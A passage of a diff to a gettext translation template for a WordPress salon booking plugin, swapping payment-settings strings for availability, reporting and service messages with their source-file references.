CUSTOMERS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_message_text.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:7\n+msgid \"this is an e-mail notification of a new booking\"\n msgstr \"\"\n \n-#. translators: %s: name of the payment method\n-#: views\u002Fpayment_method\u002Fpaypal\u002Fpay.php:28, views\u002Fpayment_method\u002Fstripe\u002Fpay.php:28\n-msgid \"Pay \u003Cstrong class='sln-total-price'>%s\u003C\u002Fstrong> with \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:87\n+msgid \"This is non-working day\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fpay.php:20, views\u002Fpayment_method\u002Fstripe\u002Fpay.php:20\n-msgid \"Pay \u003Cstrong>%1$s\u003C\u002Fstrong> as a deposit with %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1604\n+msgid \"\"\n+\"This is usually caused by slow network connectivity or high load on the \"\n+\"license server. The plugin will continue to work normally using cached \"\n+\"license data.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fpay.php:11, views\u002Fpayment_method\u002Fstripe\u002Fpay.php:11\n-msgid \"Pay \u003Cstrong>%1$s\u003C\u002Fstrong> as a remaining amount with %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:651\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:651\n+msgid \"This is where bookings are stored.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fpay.php:37, views\u002Fpayment_method\u002Fstripe\u002Fpay.php:34\n-msgid \"Pay Now\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:117\n+msgid \"this is your salon last week performances report.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:4\n-msgid \"Paypal account informations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:526\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:526\n+msgid \"This Month\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:6\n-msgid \"Your PayPal account e-mail\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:63\n+msgid \"This option will change the minimum hour fraction of the Time picker.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:10\n-msgid \"Enable PayPal sandbox\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:528\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:528\n+msgid \"This Quarter\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:121\n+#, php-format\n+msgid \"This resource is full at %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1490\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1490\n+msgid \"This resource is not available for the selected service\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:185\n+msgid \"This rule is always Enabled\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:3\n msgid \"\"\n-\"Check this option to test PayPal payments\\n\"\n-\"using your PayPal Sandbox account.\"\n+\"This rule represents your open and close days, your open and close shift. \"\n+\"Set carefully as it will affect your reservation system.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:4\n-msgid \"Stripe account informations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:73\n+msgid \"This service has no duration, change it or add another one!\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:6\n-msgid \"Secret key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:270\n+msgid \"This service is exclusive. Please remove other services.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:7\n-msgid \"Enter your Stripe api key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:899\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:899\n+msgid \"This service is not available with exclusive service.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:10\n-msgid \"Publishable key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:45\n+msgid \"This service is unavailable \"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:11\n-msgid \"Enter your Stripe publishable api key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:23\n+msgid \"This service is unavailable w\u002Fo parent service\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:14\n-msgid \"Select a payment method\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:34\n+msgid \"This service is unavailable w\u002Fo primary service in the same category\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:16\n-msgid \"ALL\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:162\n+msgid \"This slot is already booked. Please choose a different time.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:17\n-msgid \"CREDIT CARD\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:66\n+msgid \"\"\n+\"This Stripe session has no associated PaymentIntent (free or setup-mode \"\n+\"session). No changes made.\"\n msgstr \"\"\n \n-#: views\u002Fpayment_method\u002Fstripe\u002Fsettings.php:18\n-msgid \"BANCONTACT\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:72\n+msgid \"\"\n+\"This text describes what type of information the admin should include here \"\n+\"or what they should do with this info you provide in your template.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5\n-msgid \"Welcome back \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:524\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:524\n+msgid \"This Week\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:11\n-msgid \"Current Score\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:530\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:530\n+msgid \"This Year\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:26\n-msgid \"Appointments\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:81\n+msgid \"Thousand separator\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39\n-msgid \"Profile\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:134\n+msgid \"Thumbnail\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:49\n-msgid \"The booking has been cancelled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:33\n+msgid \"Thursday\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:55\n-msgid \"New reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:443\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:443\n+msgid \"Time\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:57\n-msgid \"Click here to start a new appointment.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:52\n+msgid \"time\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70, 